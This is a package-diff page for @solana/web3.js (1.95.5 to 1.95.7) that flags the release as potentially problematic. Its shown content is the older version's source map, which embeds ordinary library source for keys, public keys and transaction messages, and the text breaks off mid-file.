@solana/web3.js 1.95.5 → 1.95.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @solana/web3.js might be problematic. Click here for more details.
- package/lib/index.browser.cjs.js +77 -51
- package/lib/index.browser.cjs.js.map +1 -1
- package/lib/index.browser.esm.js +77 -51
- package/lib/index.browser.esm.js.map +1 -1
- package/lib/index.cjs.js +77 -51
- package/lib/index.cjs.js.map +1 -1
- package/lib/index.esm.js +77 -51
- package/lib/index.esm.js.map +1 -1
- package/lib/index.iife.js +346 -221
- package/lib/index.iife.js.map +1 -1
- package/lib/index.iife.min.js +10 -10
- package/lib/index.iife.min.js.map +1 -1
- package/lib/index.native.js +77 -51
- package/lib/index.native.js.map +1 -1
- package/package.json +1 -20
package/lib/index.esm.js.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"index.esm.js","sources":["../src/utils/ed25519.ts","../src/utils/to-buffer.ts","../src/utils/borsh-schema.ts","../src/publickey.ts","../src/account.ts","../src/bpf-loader-deprecated.ts","../src/transaction/constants.ts","../src/transaction/expiry-custom-errors.ts","../src/message/account-keys.ts","../src/layout.ts","../src/utils/shortvec-encoding.ts","../src/utils/assert.ts","../src/message/compiled-keys.ts","../src/utils/guarded-array-utils.ts","../src/message/legacy.ts","../src/message/v0.ts","../src/message/versioned.ts","../src/transaction/legacy.ts","../src/transaction/message.ts","../src/transaction/versioned.ts","../src/timing.ts","../src/sysvar.ts","../src/errors.ts","../src/utils/send-and-confirm-transaction.ts","../src/utils/sleep.ts","../src/instruction.ts","../src/fee-calculator.ts","../src/nonce-account.ts","../src/utils/bigint.ts","../src/programs/system.ts","../src/loader.ts","../src/bpf-loader.ts","../node_modules/.pnpm/ms@2.1.3/node_modules/ms/index.js","../node_modules/.pnpm/humanize-ms@1.2.1/node_modules/humanize-ms/index.js","../node_modules/.pnpm/agentkeepalive@4.5.0/node_modules/agentkeepalive/lib/constants.js","../node_modules/.pnpm/agentkeepalive@4.5.0/node_modules/agentkeepalive/lib/agent.js","../node_modules/.pnpm/agentkeepalive@4.5.0/node_modules/agentkeepalive/lib/https_agent.js","../node_modules/.pnpm/agentkeepalive@4.5.0/node_modules/agentkeepalive/index.js","../node_modules/.pnpm/fast-stable-stringify@1.0.0/node_modules/fast-stable-stringify/index.js","../src/epoch-schedule.ts","../src/fetch-impl.ts","../src/rpc-websocket.ts","../src/account-data.ts","../src/programs/address-lookup-table/state.ts","../src/utils/makeWebsocketUrl.ts","../src/connection.ts","../src/keypair.ts","../src/programs/address-lookup-table/index.ts","../src/programs/compute-budget.ts","../src/programs/ed25519.ts","../src/utils/secp256k1.ts","../src/programs/secp256k1.ts","../src/programs/stake.ts","../src/programs/vote.ts","../src/validator-info.ts","../src/vote-account.ts","../src/utils/cluster.ts","../src/utils/send-and-confirm-raw-transaction.ts","../src/index.ts"],"sourcesContent":["import {ed25519} from '@noble/curves/ed25519';\n\n/**\n * A 64 byte secret key, the first 32 bytes of which is the\n * private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\ntype Ed25519SecretKey = Uint8Array;\n\n/**\n * Ed25519 Keypair\n */\nexport interface Ed25519Keypair {\n publicKey: Uint8Array;\n secretKey: Ed25519SecretKey;\n}\n\nexport const generatePrivateKey = ed25519.utils.randomPrivateKey;\nexport const generateKeypair = (): Ed25519Keypair => {\n const privateScalar = ed25519.utils.randomPrivateKey();\n const publicKey = getPublicKey(privateScalar);\n const secretKey = new Uint8Array(64);\n secretKey.set(privateScalar);\n secretKey.set(publicKey, 32);\n return {\n publicKey,\n secretKey,\n };\n};\nexport const getPublicKey = ed25519.getPublicKey;\nexport function isOnCurve(publicKey: Uint8Array): boolean {\n try {\n ed25519.ExtendedPoint.fromHex(publicKey);\n return true;\n } catch {\n return false;\n }\n}\nexport const sign = (\n message: Parameters<typeof ed25519.sign>[0],\n secretKey: Ed25519SecretKey,\n) => ed25519.sign(message, secretKey.slice(0, 32));\nexport const verify = ed25519.verify;\n","import {Buffer} from 'buffer';\n\nexport const toBuffer = (arr: Buffer | Uint8Array | Array<number>): Buffer => {\n if (Buffer.isBuffer(arr)) {\n return arr;\n } else if (arr instanceof Uint8Array) {\n return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength);\n } else {\n return Buffer.from(arr);\n }\n};\n","import {Buffer} from 'buffer';\nimport {serialize, deserialize, deserializeUnchecked} from 'borsh';\n\n// Class wrapping a plain object\nexport class Struct {\n constructor(properties: any) {\n Object.assign(this, properties);\n }\n\n encode(): Buffer {\n return Buffer.from(serialize(SOLANA_SCHEMA, this));\n }\n\n static decode(data: Buffer): any {\n return deserialize(SOLANA_SCHEMA, this, data);\n }\n\n static decodeUnchecked(data: Buffer): any {\n return deserializeUnchecked(SOLANA_SCHEMA, this, data);\n }\n}\n\n// Class representing a Rust-compatible enum, since enums are only strings or\n// numbers in pure JS\nexport class Enum extends Struct {\n enum: string = '';\n constructor(properties: any) {\n super(properties);\n if (Object.keys(properties).length !== 1) {\n throw new Error('Enum can only take single value');\n }\n Object.keys(properties).map(key => {\n this.enum = key;\n });\n }\n}\n\nexport const SOLANA_SCHEMA: Map<Function, any> = new Map();\n","import BN from 'bn.js';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport {sha256} from '@noble/hashes/sha256';\n\nimport {isOnCurve} from './utils/ed25519';\nimport {Struct, SOLANA_SCHEMA} from './utils/borsh-schema';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * Maximum length of derived pubkey seed\n */\nexport const MAX_SEED_LENGTH = 32;\n\n/**\n * Size of public key in bytes\n */\nexport const PUBLIC_KEY_LENGTH = 32;\n\n/**\n * Value to be converted into public key\n */\nexport type PublicKeyInitData =\n | number\n | string\n | Uint8Array\n | Array<number>\n | PublicKeyData;\n\n/**\n * JSON object representation of PublicKey class\n */\nexport type PublicKeyData = {\n /** @internal */\n _bn: BN;\n};\n\nfunction isPublicKeyData(value: PublicKeyInitData): value is PublicKeyData {\n return (value as PublicKeyData)._bn !== undefined;\n}\n\n// local counter used by PublicKey.unique()\nlet uniquePublicKeyCounter = 1;\n\n/**\n * A public key\n */\nexport class PublicKey extends Struct {\n /** @internal */\n _bn: BN;\n\n /**\n * Create a new PublicKey object\n * @param value ed25519 public key as buffer or base-58 encoded string\n */\n constructor(value: PublicKeyInitData) {\n super({});\n if (isPublicKeyData(value)) {\n this._bn = value._bn;\n } else {\n if (typeof value === 'string') {\n // assume base 58 encoding by default\n const decoded = bs58.decode(value);\n if (decoded.length != PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n this._bn = new BN(decoded);\n } else {\n this._bn = new BN(value);\n }\n\n if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) {\n throw new Error(`Invalid public key input`);\n }\n }\n }\n\n /**\n * Returns a unique PublicKey for tests and benchmarks using a counter\n */\n static unique(): PublicKey {\n const key = new PublicKey(uniquePublicKeyCounter);\n uniquePublicKeyCounter += 1;\n return new PublicKey(key.toBuffer());\n }\n\n /**\n * Default public key value. The base58-encoded string representation is all ones (as seen below)\n * The underlying BN number is 32 bytes that are all zeros\n */\n static default: PublicKey = new PublicKey('11111111111111111111111111111111');\n\n /**\n * Checks if two publicKeys are equal\n */\n equals(publicKey: PublicKey): boolean {\n return this._bn.eq(publicKey._bn);\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toBase58(): string {\n return bs58.encode(this.toBytes());\n }\n\n toJSON(): string {\n return this.toBase58();\n }\n\n /**\n * Return the byte array representation of the public key in big endian\n */\n toBytes(): Uint8Array {\n const buf = this.toBuffer();\n return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);\n }\n\n /**\n * Return the Buffer representation of the public key in big endian\n */\n toBuffer(): Buffer {\n const b = this._bn.toArrayLike(Buffer);\n if (b.length === PUBLIC_KEY_LENGTH) {\n return b;\n }\n\n const zeroPad = Buffer.alloc(32);\n b.copy(zeroPad, 32 - b.length);\n return zeroPad;\n }\n\n get [Symbol.toStringTag](): string {\n return `PublicKey(${this.toString()})`;\n }\n\n /**\n * Return the base-58 representation of the public key\n */\n toString(): string {\n return this.toBase58();\n }\n\n /**\n * Derive a public key from another key, a seed, and a program ID.\n * The program ID will also serve as the owner of the public key, giving\n * it permission to write data to the account.\n */\n /* eslint-disable require-await */\n static async createWithSeed(\n fromPublicKey: PublicKey,\n seed: string,\n programId: PublicKey,\n ): Promise<PublicKey> {\n const buffer = Buffer.concat([\n fromPublicKey.toBuffer(),\n Buffer.from(seed),\n programId.toBuffer(),\n ]);\n const publicKeyBytes = sha256(buffer);\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Derive a program address from seeds and a program ID.\n */\n /* eslint-disable require-await */\n static createProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): PublicKey {\n let buffer = Buffer.alloc(0);\n seeds.forEach(function (seed) {\n if (seed.length > MAX_SEED_LENGTH) {\n throw new TypeError(`Max seed length exceeded`);\n }\n buffer = Buffer.concat([buffer, toBuffer(seed)]);\n });\n buffer = Buffer.concat([\n buffer,\n programId.toBuffer(),\n Buffer.from('ProgramDerivedAddress'),\n ]);\n const publicKeyBytes = sha256(buffer);\n if (isOnCurve(publicKeyBytes)) {\n throw new Error(`Invalid seeds, address must fall off the curve`);\n }\n return new PublicKey(publicKeyBytes);\n }\n\n /**\n * Async version of createProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link createProgramAddressSync} instead\n */\n /* eslint-disable require-await */\n static async createProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<PublicKey> {\n return this.createProgramAddressSync(seeds, programId);\n }\n\n /**\n * Find a valid program address\n *\n * Valid program addresses must fall off the ed25519 curve. This function\n * iterates a nonce until it finds one that when combined with the seeds\n * results in a valid program address.\n */\n static findProgramAddressSync(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): [PublicKey, number] {\n let nonce = 255;\n let address;\n while (nonce != 0) {\n try {\n const seedsWithNonce = seeds.concat(Buffer.from([nonce]));\n address = this.createProgramAddressSync(seedsWithNonce, programId);\n } catch (err) {\n if (err instanceof TypeError) {\n throw err;\n }\n nonce--;\n continue;\n }\n return [address, nonce];\n }\n throw new Error(`Unable to find a viable program address nonce`);\n }\n\n /**\n * Async version of findProgramAddressSync\n * For backwards compatibility\n *\n * @deprecated Use {@link findProgramAddressSync} instead\n */\n static async findProgramAddress(\n seeds: Array<Buffer | Uint8Array>,\n programId: PublicKey,\n ): Promise<[PublicKey, number]> {\n return this.findProgramAddressSync(seeds, programId);\n }\n\n /**\n * Check that a pubkey is on the ed25519 curve.\n */\n static isOnCurve(pubkeyData: PublicKeyInitData): boolean {\n const pubkey = new PublicKey(pubkeyData);\n return isOnCurve(pubkey.toBytes());\n }\n}\n\nSOLANA_SCHEMA.set(PublicKey, {\n kind: 'struct',\n fields: [['_bn', 'u256']],\n});\n","import {Buffer} from 'buffer';\n\nimport {generatePrivateKey, getPublicKey} from './utils/ed25519';\nimport {toBuffer} from './utils/to-buffer';\nimport {PublicKey} from './publickey';\n\n/**\n * An account key pair (public and secret keys).\n *\n * @deprecated since v1.10.0, please use {@link Keypair} instead.\n */\nexport class Account {\n /** @internal */\n private _publicKey: Buffer;\n /** @internal */\n private _secretKey: Buffer;\n\n /**\n * Create a new Account object\n *\n * If the secretKey parameter is not provided a new key pair is randomly\n * created for the account\n *\n * @param secretKey Secret key for the account\n */\n constructor(secretKey?: Uint8Array | Array<number>) {\n if (secretKey) {\n const secretKeyBuffer = toBuffer(secretKey);\n if (secretKey.length !== 64) {\n throw new Error('bad secret key size');\n }\n this._publicKey = secretKeyBuffer.slice(32, 64);\n this._secretKey = secretKeyBuffer.slice(0, 32);\n } else {\n this._secretKey = toBuffer(generatePrivateKey());\n this._publicKey = toBuffer(getPublicKey(this._secretKey));\n }\n }\n\n /**\n * The public key for this account\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._publicKey);\n }\n\n /**\n * The **unencrypted** secret key for this account. The first 32 bytes\n * is the private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\n get secretKey(): Buffer {\n return Buffer.concat([this._secretKey, this._publicKey], 64);\n }\n}\n","import {PublicKey} from './publickey';\n\nexport const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey(\n 'BPFLoader1111111111111111111111111111111111',\n);\n","/**\n * Maximum over-the-wire size of a Transaction\n *\n * 1280 is IPv6 minimum MTU\n * 40 bytes is the size of the IPv6 header\n * 8 bytes is the size of the fragment header\n */\nexport const PACKET_DATA_SIZE = 1280 - 40 - 8;\n\nexport const VERSION_PREFIX_MASK = 0x7f;\n\nexport const SIGNATURE_LENGTH_IN_BYTES = 64;\n","export class TransactionExpiredBlockheightExceededError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: block height exceeded.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(\n TransactionExpiredBlockheightExceededError.prototype,\n 'name',\n {\n value: 'TransactionExpiredBlockheightExceededError',\n },\n);\n\nexport class TransactionExpiredTimeoutError extends Error {\n signature: string;\n\n constructor(signature: string, timeoutSeconds: number) {\n super(\n `Transaction was not confirmed in ${timeoutSeconds.toFixed(\n 2,\n )} seconds. It is ` +\n 'unknown if it succeeded or failed. Check signature ' +\n `${signature} using the Solana Explorer or CLI tools.`,\n );\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', {\n value: 'TransactionExpiredTimeoutError',\n});\n\nexport class TransactionExpiredNonceInvalidError extends Error {\n signature: string;\n\n constructor(signature: string) {\n super(`Signature ${signature} has expired: the nonce is no longer valid.`);\n this.signature = signature;\n }\n}\n\nObject.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', {\n value: 'TransactionExpiredNonceInvalidError',\n});\n","import {LoadedAddresses} from '../connection';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {MessageCompiledInstruction} from './index';\n\nexport type AccountKeysFromLookups = LoadedAddresses;\n\nexport class MessageAccountKeys {\n staticAccountKeys: Array<PublicKey>;\n accountKeysFromLookups?: AccountKeysFromLookups;\n\n constructor(\n staticAccountKeys: Array<PublicKey>,\n accountKeysFromLookups?: AccountKeysFromLookups,\n ) {\n this.staticAccountKeys = staticAccountKeys;\n this.accountKeysFromLookups = accountKeysFromLookups;\n }\n\n keySegments(): Array<Array<PublicKey>> {\n const keySegments = [this.staticAccountKeys];\n if (this.accountKeysFromLookups) {\n keySegments.push(this.accountKeysFromLookups.writable);\n keySegments.push(this.accountKeysFromLookups.readonly);\n }\n return keySegments;\n }\n\n get(index: number): PublicKey | undefined {\n for (const keySegment of this.keySegments()) {\n if (index < keySegment.length) {\n return keySegment[index];\n } else {\n index -= keySegment.length;\n }\n }\n return;\n }\n\n get length(): number {\n return this.keySegments().flat().length;\n }\n\n compileInstructions(\n instructions: Array<TransactionInstruction>,\n ): Array<MessageCompiledInstruction> {\n // Bail early if any account indexes would overflow a u8\n const U8_MAX = 255;\n if (this.length > U8_MAX + 1) {\n throw new Error('Account index overflow encountered during compilation');\n }\n\n const keyIndexMap = new Map();\n this.keySegments()\n .flat()\n .forEach((key, index) => {\n keyIndexMap.set(key.toBase58(), index);\n });\n\n const findKeyIndex = (key: PublicKey) => {\n const keyIndex = keyIndexMap.get(key.toBase58());\n if (keyIndex === undefined)\n throw new Error(\n 'Encountered an unknown instruction account key during compilation',\n );\n return keyIndex;\n };\n\n return instructions.map((instruction): MessageCompiledInstruction => {\n return {\n programIdIndex: findKeyIndex(instruction.programId),\n accountKeyIndexes: instruction.keys.map(meta =>\n findKeyIndex(meta.pubkey),\n ),\n data: instruction.data,\n };\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {VoteAuthorizeWithSeedArgs} from './programs/vote';\n\n/**\n * Layout for a public key\n */\nexport const publicKey = (property: string = 'publicKey') => {\n return BufferLayout.blob(32, property);\n};\n\n/**\n * Layout for a signature\n */\nexport const signature = (property: string = 'signature') => {\n return BufferLayout.blob(64, property);\n};\n\n/**\n * Layout for a 64bit unsigned value\n */\nexport const uint64 = (property: string = 'uint64') => {\n return BufferLayout.blob(8, property);\n};\n\ninterface IRustStringShim\n extends Omit<\n BufferLayout.Structure<\n Readonly<{\n length: number;\n lengthPadding: number;\n chars: Uint8Array;\n }>\n >,\n 'decode' | 'encode' | 'replicate'\n > {\n alloc: (str: string) => number;\n decode: (b: Uint8Array, offset?: number) => string;\n encode: (str: string, b: Uint8Array, offset?: number) => number;\n replicate: (property: string) => this;\n}\n\n/**\n * Layout for a Rust String type\n */\nexport const rustString = (\n property: string = 'string',\n): BufferLayout.Layout<string> => {\n const rsl = BufferLayout.struct<\n Readonly<{\n length?: number;\n lengthPadding?: number;\n chars: Uint8Array;\n }>\n >(\n [\n BufferLayout.u32('length'),\n BufferLayout.u32('lengthPadding'),\n BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars'),\n ],\n property,\n );\n const _decode = rsl.decode.bind(rsl);\n const _encode = rsl.encode.bind(rsl);\n\n const rslShim = rsl as unknown as IRustStringShim;\n\n rslShim.decode = (b: Uint8Array, offset?: number) => {\n const data = _decode(b, offset);\n return data['chars'].toString();\n };\n\n rslShim.encode = (str: string, b: Uint8Array, offset?: number) => {\n const data = {\n chars: Buffer.from(str, 'utf8'),\n };\n return _encode(data, b, offset);\n };\n\n rslShim.alloc = (str: string) => {\n return (\n BufferLayout.u32().span +\n BufferLayout.u32().span +\n Buffer.from(str, 'utf8').length\n );\n };\n\n return rslShim;\n};\n\n/**\n * Layout for an Authorized object\n */\nexport const authorized = (property: string = 'authorized') => {\n return BufferLayout.struct<\n Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n }>\n >([publicKey('staker'), publicKey('withdrawer')], property);\n};\n\n/**\n * Layout for a Lockup object\n */\nexport const lockup = (property: string = 'lockup') => {\n return BufferLayout.struct<\n Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n }>\n >(\n [\n BufferLayout.ns64('unixTimestamp'),\n BufferLayout.ns64('epoch'),\n publicKey('custodian'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteInit object\n */\nexport const voteInit = (property: string = 'voteInit') => {\n return BufferLayout.struct<\n Readonly<{\n authorizedVoter: Uint8Array;\n authorizedWithdrawer: Uint8Array;\n commission: number;\n nodePubkey: Uint8Array;\n }>\n >(\n [\n publicKey('nodePubkey'),\n publicKey('authorizedVoter'),\n publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n ],\n property,\n );\n};\n\n/**\n * Layout for a VoteAuthorizeWithSeedArgs object\n */\nexport const voteAuthorizeWithSeedArgs = (\n property: string = 'voteAuthorizeWithSeedArgs',\n) => {\n return BufferLayout.struct<VoteAuthorizeWithSeedArgs>(\n [\n BufferLayout.u32('voteAuthorizationType'),\n publicKey('currentAuthorityDerivedKeyOwnerPubkey'),\n rustString('currentAuthorityDerivedKeySeed'),\n publicKey('newAuthorized'),\n ],\n property,\n );\n};\n\nexport function getAlloc(type: any, fields: any): number {\n const getItemAlloc = (item: any): number => {\n if (item.span >= 0) {\n return item.span;\n } else if (typeof item.alloc === 'function') {\n return item.alloc(fields[item.property]);\n } else if ('count' in item && 'elementLayout' in item) {\n const field = fields[item.property];\n if (Array.isArray(field)) {\n return field.length * getItemAlloc(item.elementLayout);\n }\n } else if ('fields' in item) {\n // This is a `Structure` whose size needs to be recursively measured.\n return getAlloc({layout: item}, fields[item.property]);\n }\n // Couldn't determine allocated size of layout\n return 0;\n };\n\n let alloc = 0;\n type.layout.fields.forEach((item: any) => {\n alloc += getItemAlloc(item);\n });\n\n return alloc;\n}\n","export function decodeLength(bytes: Array<number>): number {\n let len = 0;\n let size = 0;\n for (;;) {\n let elem = bytes.shift() as number;\n len |= (elem & 0x7f) << (size * 7);\n size += 1;\n if ((elem & 0x80) === 0) {\n break;\n }\n }\n return len;\n}\n\nexport function encodeLength(bytes: Array<number>, len: number) {\n let rem_len = len;\n for (;;) {\n let elem = rem_len & 0x7f;\n rem_len >>= 7;\n if (rem_len == 0) {\n bytes.push(elem);\n break;\n } else {\n elem |= 0x80;\n bytes.push(elem);\n }\n }\n}\n","export default function (\n condition: unknown,\n message?: string,\n): asserts condition {\n if (!condition) {\n throw new Error(message || 'Assertion failed');\n }\n}\n","import {MessageHeader, MessageAddressTableLookup} from './index';\nimport {AccountKeysFromLookups} from './account-keys';\nimport {AddressLookupTableAccount} from '../programs';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {PublicKey} from '../publickey';\n\nexport type CompiledKeyMeta = {\n isSigner: boolean;\n isWritable: boolean;\n isInvoked: boolean;\n};\n\ntype KeyMetaMap = Map<string, CompiledKeyMeta>;\n\nexport class CompiledKeys {\n payer: PublicKey;\n keyMetaMap: KeyMetaMap;\n\n constructor(payer: PublicKey, keyMetaMap: KeyMetaMap) {\n this.payer = payer;\n this.keyMetaMap = keyMetaMap;\n }\n\n static compile(\n instructions: Array<TransactionInstruction>,\n payer: PublicKey,\n ): CompiledKeys {\n const keyMetaMap: KeyMetaMap = new Map();\n const getOrInsertDefault = (pubkey: PublicKey): CompiledKeyMeta => {\n const address = pubkey.toBase58();\n let keyMeta = keyMetaMap.get(address);\n if (keyMeta === undefined) {\n keyMeta = {\n isSigner: false,\n isWritable: false,\n isInvoked: false,\n };\n keyMetaMap.set(address, keyMeta);\n }\n return keyMeta;\n };\n\n const payerKeyMeta = getOrInsertDefault(payer);\n payerKeyMeta.isSigner = true;\n payerKeyMeta.isWritable = true;\n\n for (const ix of instructions) {\n getOrInsertDefault(ix.programId).isInvoked = true;\n for (const accountMeta of ix.keys) {\n const keyMeta = getOrInsertDefault(accountMeta.pubkey);\n keyMeta.isSigner ||= accountMeta.isSigner;\n keyMeta.isWritable ||= accountMeta.isWritable;\n }\n }\n\n return new CompiledKeys(payer, keyMetaMap);\n }\n\n getMessageComponents(): [MessageHeader, Array<PublicKey>] {\n const mapEntries = [...this.keyMetaMap.entries()];\n assert(mapEntries.length <= 256, 'Max static account keys length exceeded');\n\n const writableSigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && meta.isWritable,\n );\n const readonlySigners = mapEntries.filter(\n ([, meta]) => meta.isSigner && !meta.isWritable,\n );\n const writableNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && meta.isWritable,\n );\n const readonlyNonSigners = mapEntries.filter(\n ([, meta]) => !meta.isSigner && !meta.isWritable,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: writableSigners.length + readonlySigners.length,\n numReadonlySignedAccounts: readonlySigners.length,\n numReadonlyUnsignedAccounts: readonlyNonSigners.length,\n };\n\n // sanity checks\n {\n assert(\n writableSigners.length > 0,\n 'Expected at least one writable signer key',\n );\n const [payerAddress] = writableSigners[0];\n assert(\n payerAddress === this.payer.toBase58(),\n 'Expected first writable signer key to be the fee payer',\n );\n }\n\n const staticAccountKeys = [\n ...writableSigners.map(([address]) => new PublicKey(address)),\n ...readonlySigners.map(([address]) => new PublicKey(address)),\n ...writableNonSigners.map(([address]) => new PublicKey(address)),\n ...readonlyNonSigners.map(([address]) => new PublicKey(address)),\n ];\n\n return [header, staticAccountKeys];\n }\n\n extractTableLookup(\n lookupTable: AddressLookupTableAccount,\n ): [MessageAddressTableLookup, AccountKeysFromLookups] | undefined {\n const [writableIndexes, drainedWritableKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable,\n );\n const [readonlyIndexes, drainedReadonlyKeys] =\n this.drainKeysFoundInLookupTable(\n lookupTable.state.addresses,\n keyMeta =>\n !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable,\n );\n\n // Don't extract lookup if no keys were found\n if (writableIndexes.length === 0 && readonlyIndexes.length === 0) {\n return;\n }\n\n return [\n {\n accountKey: lookupTable.key,\n writableIndexes,\n readonlyIndexes,\n },\n {\n writable: drainedWritableKeys,\n readonly: drainedReadonlyKeys,\n },\n ];\n }\n\n /** @internal */\n private drainKeysFoundInLookupTable(\n lookupTableEntries: Array<PublicKey>,\n keyMetaFilter: (keyMeta: CompiledKeyMeta) => boolean,\n ): [Array<number>, Array<PublicKey>] {\n const lookupTableIndexes = new Array();\n const drainedKeys = new Array();\n\n for (const [address, keyMeta] of this.keyMetaMap.entries()) {\n if (keyMetaFilter(keyMeta)) {\n const key = new PublicKey(address);\n const lookupTableIndex = lookupTableEntries.findIndex(entry =>\n entry.equals(key),\n );\n if (lookupTableIndex >= 0) {\n assert(lookupTableIndex < 256, 'Max lookup table index exceeded');\n lookupTableIndexes.push(lookupTableIndex);\n drainedKeys.push(key);\n this.keyMetaMap.delete(address);\n }\n }\n }\n\n return [lookupTableIndexes, drainedKeys];\n }\n}\n","const END_OF_BUFFER_ERROR_MESSAGE = 'Reached end of buffer unexpectedly';\n\n/**\n * Delegates to `Array#shift`, but throws if the array is zero-length.\n */\nexport function guardedShift<T>(byteArray: T[]): T {\n if (byteArray.length === 0) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.shift() as T;\n}\n\n/**\n * Delegates to `Array#splice`, but throws if the section being spliced out extends past the end of\n * the array.\n */\nexport function guardedSplice<T>(\n byteArray: T[],\n ...args:\n | [start: number, deleteCount?: number]\n | [start: number, deleteCount: number, ...items: T[]]\n): T[] {\n const [start] = args;\n if (\n args.length === 2 // Implies that `deleteCount` was supplied\n ? start + (args[1] ?? 0) > byteArray.length\n : start >= byteArray.length\n ) {\n throw new Error(END_OF_BUFFER_ERROR_MESSAGE);\n }\n return byteArray.splice(\n ...(args as Parameters<typeof Array.prototype.splice>),\n );\n}\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey, PUBLIC_KEY_LENGTH} from '../publickey';\nimport type {Blockhash} from '../blockhash';\nimport * as Layout from '../layout';\nimport {PACKET_DATA_SIZE, VERSION_PREFIX_MASK} from '../transaction/constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport {\n MessageHeader,\n MessageAddressTableLookup,\n MessageCompiledInstruction,\n} from './index';\nimport {TransactionInstruction} from '../transaction';\nimport {CompiledKeys} from './compiled-keys';\nimport {MessageAccountKeys} from './account-keys';\nimport {guardedShift, guardedSplice} from '../utils/guarded-array-utils';\n\n/**\n * An instruction to execute by a program\n *\n * @property {number} programIdIndex\n * @property {number[]} accounts\n * @property {string} data\n */\nexport type CompiledInstruction = {\n /** Index into the transaction keys array indicating the program account that executes this instruction */\n programIdIndex: number;\n /** Ordered indices into the transaction keys array indicating which accounts to pass to the program */\n accounts: number[];\n /** The program input data encoded as base 58 */\n data: string;\n};\n\n/**\n * Message constructor arguments\n */\nexport type MessageArgs = {\n /** The message header, identifying signed and read-only `accountKeys` */\n header: MessageHeader;\n /** All the account keys used by this transaction */\n accountKeys: string[] | PublicKey[];\n /** The hash of a recent ledger block */\n recentBlockhash: Blockhash;\n /** Instructions that will be executed in sequence and committed in one atomic transaction if all succeed. */\n instructions: CompiledInstruction[];\n};\n\nexport type CompileLegacyArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\n/**\n * List of instructions to be processed atomically\n */\nexport class Message {\n header: MessageHeader;\n accountKeys: PublicKey[];\n recentBlockhash: Blockhash;\n instructions: CompiledInstruction[];\n\n private indexToProgramIds: Map<number, PublicKey> = new Map<\n number,\n PublicKey\n >();\n\n constructor(args: MessageArgs) {\n this.header = args.header;\n this.accountKeys = args.accountKeys.map(account => new PublicKey(account));\n this.recentBlockhash = args.recentBlockhash;\n this.instructions = args.instructions;\n this.instructions.forEach(ix =>\n this.indexToProgramIds.set(\n ix.programIdIndex,\n this.accountKeys[ix.programIdIndex],\n ),\n );\n }\n\n get version(): 'legacy' {\n return 'legacy';\n }\n\n get staticAccountKeys(): Array<PublicKey> {\n return this.accountKeys;\n }\n\n get compiledInstructions(): Array<MessageCompiledInstruction> {\n return this.instructions.map(\n (ix): MessageCompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n }),\n );\n }\n\n get addressTableLookups(): Array<MessageAddressTableLookup> {\n return [];\n }\n\n getAccountKeys(): MessageAccountKeys {\n return new MessageAccountKeys(this.staticAccountKeys);\n }\n\n static compile(args: CompileLegacyArgs): Message {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(staticAccountKeys);\n const instructions = accountKeys.compileInstructions(args.instructions).map(\n (ix: MessageCompiledInstruction): CompiledInstruction => ({\n programIdIndex: ix.programIdIndex,\n accounts: ix.accountKeyIndexes,\n data: bs58.encode(ix.data),\n }),\n );\n return new Message({\n header,\n accountKeys: staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n instructions,\n });\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = this.accountKeys.length - 